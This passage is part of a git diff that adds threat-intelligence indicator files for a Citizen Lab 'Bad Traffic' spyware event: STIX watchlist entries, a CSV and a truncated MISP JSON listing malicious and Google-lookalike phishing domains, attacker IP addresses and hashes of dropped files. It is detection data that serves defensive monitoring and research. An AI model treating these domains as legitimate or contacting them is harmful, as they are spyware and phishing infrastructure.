Attribute #15868) + + + + + mail-attachment-usercontent.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: phpinfo.pw (MISP Attribute #17916) + Malware Artifacts + Domain Watchlist + Network activity: phpinfo.pw (MISP Attribute #17916) + + + + + phpinfo.pw + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccounts-google.tk (MISP Attribute #15613) + Malware Artifacts + Domain Watchlist + Network activity: myaccounts-google.tk (MISP Attribute #15613) + + + + + myaccounts-google.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsaccounts-drive-google.gq (MISP Attribute #15614) + Malware Artifacts + Domain Watchlist + Network activity: httpsaccounts-drive-google.gq (MISP Attribute #15614) + + + + + httpsaccounts-drive-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsaccount-google.gq (MISP Attribute #15615) + Malware Artifacts + Domain Watchlist + Network activity: httpsaccount-google.gq (MISP Attribute #15615) + + + + + httpsaccount-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 104.207.132.165 (MISP Attribute #17917) + Malware Artifacts + IP Watchlist + Network activity: 104.207.132.165 (MISP Attribute #17917) + + + + + 104.207.132.165 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.63.0.49 (MISP Attribute #17918) + Malware Artifacts + IP Watchlist + Network activity: 45.63.0.49 (MISP Attribute #17918) + + + + + 45.63.0.49 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 115.126.39.107 (MISP Attribute #17919) + Malware Artifacts + IP Watchlist + Network activity: 115.126.39.107 (MISP Attribute #17919) + + + + + 115.126.39.107 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 8e44755f02e9769c95dd9528ca1f462e (MISP Attribute #17920) + Malware Artifacts + File Hash Watchlist + Payload delivery: 8e44755f02e9769c95dd9528ca1f462e (MISP Attribute #17920) + + + + + + + MD5 + 8e44755f02e9769c95dd9528ca1f462e + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 381f8f812a8609134eff661157d88d32da029af1 (MISP Attribute #17922) + Malware Artifacts + File Hash Watchlist + Payload delivery: 381f8f812a8609134eff661157d88d32da029af1 (MISP Attribute #17922) + + + + + + + SHA1 + 381f8f812a8609134eff661157d88d32da029af1 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 654e952324bddf09ca7b014bfdf79103c643d21d648182f911a65d7c907803b8 (MISP Attribute #17921) + Malware Artifacts + File Hash Watchlist + Payload delivery: 654e952324bddf09ca7b014bfdf79103c643d21d648182f911a65d7c907803b8 (MISP Attribute #17921) + + + + + + + SHA256 + 654e952324bddf09ca7b014bfdf79103c643d21d648182f911a65d7c907803b8 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201803_BadTraffic/iocs.csv b/data/ioc/spyware/citizen_lab/201803_BadTraffic/iocs.csv new file mode 100644 index 0000000..dc0e844 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201803_BadTraffic/iocs.csv @@ -0,0 +1,64 @@ +uuid,event_id,category,type,value,comment,to_ids,date +5a9ebab6-193c-4062-8a28-630f8064ab0b,134,Network activity,domain,"updserv-east-cdn3.com","",1,20180306 +5a9ebab6-1cf8-44f7-9995-630f8064ab0b,134,Network activity,domain,"downloading.syriantelecom.co","",1,20180306 +5a9ebab6-1dc4-4139-92f9-630f8064ab0b,134,Network activity,domain,"computing.downloaders.today","",1,20180306 +5a9ebab6-389c-4de0-be65-630f8064ab0b,134,Network activity,domain,"ms-cdn-88.com","",1,20180306 +5a9ebab6-41d4-4b46-8c16-630f8064ab0b,134,Network activity,domain,"solitude.file-download.today","",1,20180306 +5a9ebab6-479c-4201-b823-630f8064ab0b,134,Network activity,domain,"window.processingdownloads.today","",1,20180306 +5a9ebab6-49a8-4bb1-81d7-630f8064ab0b,134,Network activity,domain,"redirection.bid","",1,20180306 +5a9ebab6-5b58-489e-90e2-630f8064ab0b,134,Network activity,domain,"download.downloading.shop","",1,20180306 +5a9ebab6-adc4-48ac-8d5d-630f8064ab0b,134,Network activity,domain,"epiphany.download-document.world","",1,20180306 +5a9ebab6-b230-4313-9195-630f8064ab0b,134,Network activity,domain,"cdn-upd-ms6.com","",1,20180306 +5a9ebab6-b9b8-412b-9929-630f8064ab0b,134,Network activity,domain,"epoch.wind-files.today","",1,20180306 +5a9ebab6-c2ac-45da-902c-630f8064ab0b,134,Network activity,domain,"system.documentations.live","",1,20180306 +5a9ebab6-caf4-41b4-8e69-630f8064ab0b,134,Network activity,domain,"internet.document-management.today","",1,20180306 +5a9ebab6-dd2c-446e-94a1-630f8064ab0b,134,Network activity,domain,"storage.computingdownloads.life","",1,20180306 +5a9ebab6-def0-4a56-9745-630f8064ab0b,134,Network activity,domain,"downloading.internetdownloading.co","",1,20180306 +5a9ebab6-e0ac-49ac-b6fa-630f8064ab0b,134,Network activity,domain,"download.syriantelecommunications.co","",1,20180306 +5a9ebab6-f734-4a44-a766-630f8064ab0b,134,Network activity,domain,"download.downloadering.co","",1,20180306 +5a9ebaec-0668-4191-b597-65188064ab0b,134,Artifacts dropped,md5,"6ce947913231bd968c86a2737bae7bba","",0,20180306 +5a9ebaec-0ba0-4c9f-91f1-65188064ab0b,134,Artifacts dropped,md5,"40383bee9846ecbd78581402e3379051","",0,20180306 +5a9ebaec-0d08-4751-b2a6-65188064ab0b,134,Artifacts dropped,md5,"43b39fd4ddc386092372da19f6278c25","",0,20180306 +5a9ebaec-0d40-42e6-8472-65188064ab0b,134,Artifacts dropped,md5,"32bc51088953377d601c6b27ca7484a9","",0,20180306 +5a9ebaec-1034-4a7d-8335-65188064ab0b,134,Artifacts dropped,md5,"08b8b4787f3ce90c6c1483cc127b1cdc","",0,20180306 +5a9ebaec-1c94-40ca-b487-65188064ab0b,134,Artifacts dropped,md5,"a070fd2cce434a6f0b0d0fa6d3278d22","",0,20180306 +5a9ebaec-1de8-45fc-8681-65188064ab0b,134,Artifacts dropped,md5,"8c8eb5cfc5642a773c5f2b5f59148aa3","",0,20180306 +5a9ebaec-1fdc-4320-a7d2-65188064ab0b,134,Artifacts dropped,md5,"56bc314bc0d4a0a230a4de2bf978b5ae","",0,20180306 +5a9ebaec-29e0-421c-9135-65188064ab0b,134,Artifacts dropped,md5,"4fe4094302c26e7ea2c58f5ca9f7f993","",0,20180306 +5a9ebaec-2ee4-46ad-9e1f-65188064ab0b,134,Artifacts dropped,md5,"9b0de56f7f862db73e223f41099fc74c","",0,20180306 +5a9ebaec-359c-4b66-afb6-65188064ab0b,134,Artifacts dropped,md5,"7ad8ad340c084f8185e2bb18cbfde891","",0,20180306 +5a9ebaec-43dc-4fd9-b2b3-65188064ab0b,134,Artifacts dropped,md5,"08d971f5f4707ae6ea56ed2f243c38b7","",0,20180306 +5a9ebaec-4b84-43af-a448-65188064ab0b,134,Artifacts dropped,md5,"205a5502ff0da4a471c4dad0e06c6c57","",0,20180306 +5a9ebaec-4cf0-4b40-9d1f-65188064ab0b,134,Artifacts dropped,md5,"461446151be0033a668782c2d7ba58cb","",0,20180306 +5a9ebaec-4d40-4614-a23e-65188064ab0b,134,Artifacts dropped,md5,"3729531c71163cddcded7e70c02a3004","",0,20180306 +5a9ebaec-5038-4cff-8b98-65188064ab0b,134,Artifacts dropped,md5,"449ba12127133ecd0440a558b083468c","",0,20180306 +5a9ebaec-50e4-4d9e-85c8-65188064ab0b,134,Artifacts dropped,md5,"3632fb080545d3518d57320466f96cb3","",0,20180306 +5a9ebaec-55f8-4be5-8e12-65188064ab0b,134,Artifacts dropped,md5,"90373539c60529153d0d6b0cc857e845","",0,20180306 +5a9ebaec-56e8-4a86-b564-65188064ab0b,134,Artifacts dropped,md5,"df0045bd4168893922480f7ccb29860a","",0,20180306 +5a9ebaec-5d38-493a-a73c-65188064ab0b,134,Artifacts dropped,md5,"7fd98d6bb1e9d6bcf2e1984e812c1e46","",0,20180306 +5a9ebaec-87ac-4368-b185-65188064ab0b,134,Artifacts dropped,md5,"e436e849d9496ef3f651c1904786c78f","",0,20180306 +5a9ebaec-887c-4c49-baa1-65188064ab0b,134,Artifacts dropped,md5,"8fea3de31a58415c3fec2e6dd4095575","",0,20180306 +5a9ebaec-9cb8-477d-a13f-65188064ab0b,134,Artifacts dropped,md5,"a5ae6e0d74052d4f889f2538fdd7cb9b","",0,20180306 +5a9ebaec-9dd4-42eb-aef1-65188064ab0b,134,Artifacts dropped,md5,"5c3f0dcf4aaa699b50154aa245923c86","",0,20180306 +5a9ebaec-a0c8-4282-8b2b-65188064ab0b,134,Artifacts dropped,md5,"6a442a610c047a7a306a12f423978bfb","",0,20180306 +5a9ebaec-af4c-40fc-8e98-65188064ab0b,134,Artifacts dropped,md5,"d7ec065cc3f563928504f80692578d2f","",0,20180306 +5a9ebaec-ba64-42f1-9505-65188064ab0b,134,Artifacts dropped,md5,"58239ea5747d3375278ce7c04db22c1b","",0,20180306 +5a9ebaec-bb18-4c5d-879d-65188064ab0b,134,Artifacts dropped,md5,"20755b98d7c094747b75b157413e3422","",0,20180306 +5a9ebaec-bb2c-495d-a460-65188064ab0b,134,Artifacts dropped,md5,"be6f2a03dfddbaf1166854730961d13c","",0,20180306 +5a9ebaec-bbec-446d-a785-65188064ab0b,134,Artifacts dropped,md5,"8bb2ba6f1cfa3bd99146688cd1e76bb0","",0,20180306 +5a9ebaec-c054-4a65-8ff3-65188064ab0b,134,Artifacts dropped,md5,"f344da38958dbc730ddebc10660cd451","",0,20180306 +5a9ebaec-c1f8-45f5-abd0-65188064ab0b,134,Artifacts dropped,md5,"001316808aa7108b467e8ecc06139c2e","",0,20180306 +5a9ebaec-d490-4f27-be9b-65188064ab0b,134,Artifacts dropped,md5,"e80d8a0c35133f7485d8e87ade903919","",0,20180306 +5a9ebaec-e354-4d5d-bafb-65188064ab0b,134,Artifacts dropped,md5,"fa90508007b94a4dbfeb8b48d5443ec8","",0,20180306 +5a9ebaec-e6dc-44c8-a030-65188064ab0b,134,Artifacts dropped,md5,"be8a344487bcfea66de8e0f0f14d869e","",0,20180306 +5a9ebaec-f230-436a-b587-65188064ab0b,134,Artifacts dropped,md5,"f36e67109ae368c9db109d0a41b5817c","",0,20180306 +5a9ebaec-f83c-46dd-9ceb-65188064ab0b,134,Artifacts dropped,md5,"89180820b47bb11ccf0c8505371e98d1","",0,20180306 +5a9ebaec-ff78-4858-a1e3-65188064ab0b,134,Artifacts dropped,md5,"6491df10c766be9c487fb9495d04df6e","",0,20180306 +5aa03a55-0118-4f2a-9ab5-67a48064ab0b,134,Network activity,domain,"internet.downloadingdocuments.com","",1,20180307 +5aa03a55-6920-413a-a285-67a48064ab0b,134,Network activity,domain,"epoch.englishdownloaders.today","",1,20180307 +5aa03a55-7f20-4130-9def-67a48064ab0b,134,Network activity,domain,"upd-ms3-app-state.com","",1,20180307 +5aa03a55-d3dc-4b53-a6e4-67a48064ab0b,134,Network activity,domain,"document.downloadingsystem.com","",1,20180307 +5aa03a55-e36c-4dc5-934d-67a48064ab0b,134,Network activity,domain,"system.filedownloaders.com","",1,20180307 +5aa03c02-0bd0-42ee-ade7-67a28064ab0b,134,Network activity,domain,"solitude.filedownloads.online","",1,20180307 +5aa03c02-8520-4c2c-8ae7-67a28064ab0b,134,Network activity,domain,"bombinate.winload.info","",1,20180307 +5aa03c02-e238-4288-9217-67a28064ab0b,134,Network activity,domain,"epoch.uploaders.online","",1,20180307 diff --git a/data/ioc/spyware/citizen_lab/201803_BadTraffic/misp.json b/data/ioc/spyware/citizen_lab/201803_BadTraffic/misp.json new file mode 100644 index 0000000..486cd93 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201803_BadTraffic/misp.json @@ -0,0 +1,1115 @@ +{"response":[{ + "Event": { + "id": "134", + "orgc_id": "2", + "org_id": "2", + "date": "2018-02-14", + "threat_level_id": "1", + "info": "Bad Traffic", + "published": true, + "uuid": "5a84a4bc-1498-4808-9cf1-6ce78e96ca05", + "attribute_count": "63", + "analysis": "0", + "timestamp": "1520450562", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1520450598", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "18176", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-1c94-40ca-b487-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "a070fd2cce434a6f0b0d0fa6d3278d22", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18177", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-bb2c-495d-a460-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "be6f2a03dfddbaf1166854730961d13c", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18178", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-af4c-40fc-8e98-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "d7ec065cc3f563928504f80692578d2f", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18179", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-c054-4a65-8ff3-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "f344da38958dbc730ddebc10660cd451", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18180", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-e354-4d5d-bafb-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fa90508007b94a4dbfeb8b48d5443ec8", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18181", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-c1f8-45f5-abd0-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "001316808aa7108b467e8ecc06139c2e", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18182", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-9dd4-42eb-aef1-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "5c3f0dcf4aaa699b50154aa245923c86", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18183", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-5d38-493a-a73c-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "7fd98d6bb1e9d6bcf2e1984e812c1e46", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18184", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-f83c-46dd-9ceb-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "89180820b47bb11ccf0c8505371e98d1", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18185", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-bbec-446d-a785-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "8bb2ba6f1cfa3bd99146688cd1e76bb0", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18186", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-1de8-45fc-8681-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "8c8eb5cfc5642a773c5f2b5f59148aa3", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18187", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-887c-4c49-baa1-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "8fea3de31a58415c3fec2e6dd4095575", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18188", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-2ee4-46ad-9e1f-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "9b0de56f7f862db73e223f41099fc74c", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18189", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-e6dc-44c8-a030-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "be8a344487bcfea66de8e0f0f14d869e", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18190", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-56e8-4a86-b564-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "df0045bd4168893922480f7ccb29860a", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18191", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-87ac-4368-b185-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "e436e849d9496ef3f651c1904786c78f", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18192", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-d490-4f27-be9b-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "e80d8a0c35133f7485d8e87ade903919", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18193", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-f230-436a-b587-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "f36e67109ae368c9db109d0a41b5817c", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18194", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-1034-4a7d-8335-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "08b8b4787f3ce90c6c1483cc127b1cdc", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18195", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-4b84-43af-a448-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "205a5502ff0da4a471c4dad0e06c6c57", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18196", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-0d40-42e6-8472-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "32bc51088953377d601c6b27ca7484a9", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18197", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-4d40-4614-a23e-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "3729531c71163cddcded7e70c02a3004", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18198", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-0d08-4751-b2a6-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "43b39fd4ddc386092372da19f6278c25", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18199", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-29e0-421c-9135-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "4fe4094302c26e7ea2c58f5ca9f7f993", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18200", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-ba64-42f1-9505-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "58239ea5747d3375278ce7c04db22c1b", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18201", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-ff78-4858-a1e3-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "6491df10c766be9c487fb9495d04df6e", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18202", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-a0c8-4282-8b2b-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "6a442a610c047a7a306a12f423978bfb", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18203", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-0668-4191-b597-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "6ce947913231bd968c86a2737bae7bba", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18204", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-359c-4b66-afb6-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "7ad8ad340c084f8185e2bb18cbfde891", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18205", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-55f8-4be5-8e12-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "90373539c60529153d0d6b0cc857e845", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18206", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-9cb8-477d-a13f-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "a5ae6e0d74052d4f889f2538fdd7cb9b", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18169", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-43dc-4fd9-b2b3-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "08d971f5f4707ae6ea56ed2f243c38b7", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18170", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-bb18-4c5d-879d-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "20755b98d7c094747b75b157413e3422", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18171", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-50e4-4d9e-85c8-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "3632fb080545d3518d57320466f96cb3", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18172", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-0ba0-4c9f-91f1-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "40383bee9846ecbd78581402e3379051", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18173", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-5038-4cff-8b98-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "449ba12127133ecd0440a558b083468c", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18174", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-4cf0-4b40-9d1f-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "461446151be0033a668782c2d7ba58cb", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18175", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5a9ebaec-1fdc-4320-a7d2-65188064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351980", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "56bc314bc0d4a0a230a4de2bf978b5ae", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18208", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5aa03a55-d3dc-4b53-a6e4-67a48064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520450133", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "document.downloadingsystem.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18209", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5aa03a55-6920-413a-a285-67a48064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520450133", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "epoch.englishdownloaders.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18210", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5aa03a55-0118-4f2a-9ab5-67a48064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520450133", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "internet.downloadingdocuments.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18211", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5aa03a55-e36c-4dc5-934d-67a48064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520450133", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "system.filedownloaders.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18212", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5aa03a55-7f20-4130-9def-67a48064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520450133", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "upd-ms3-app-state.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18213", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5aa03c02-8520-4c2c-8ae7-67a28064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520450562", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bombinate.winload.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18214", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5aa03c02-e238-4288-9217-67a28064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520450562", + "comment": "", + 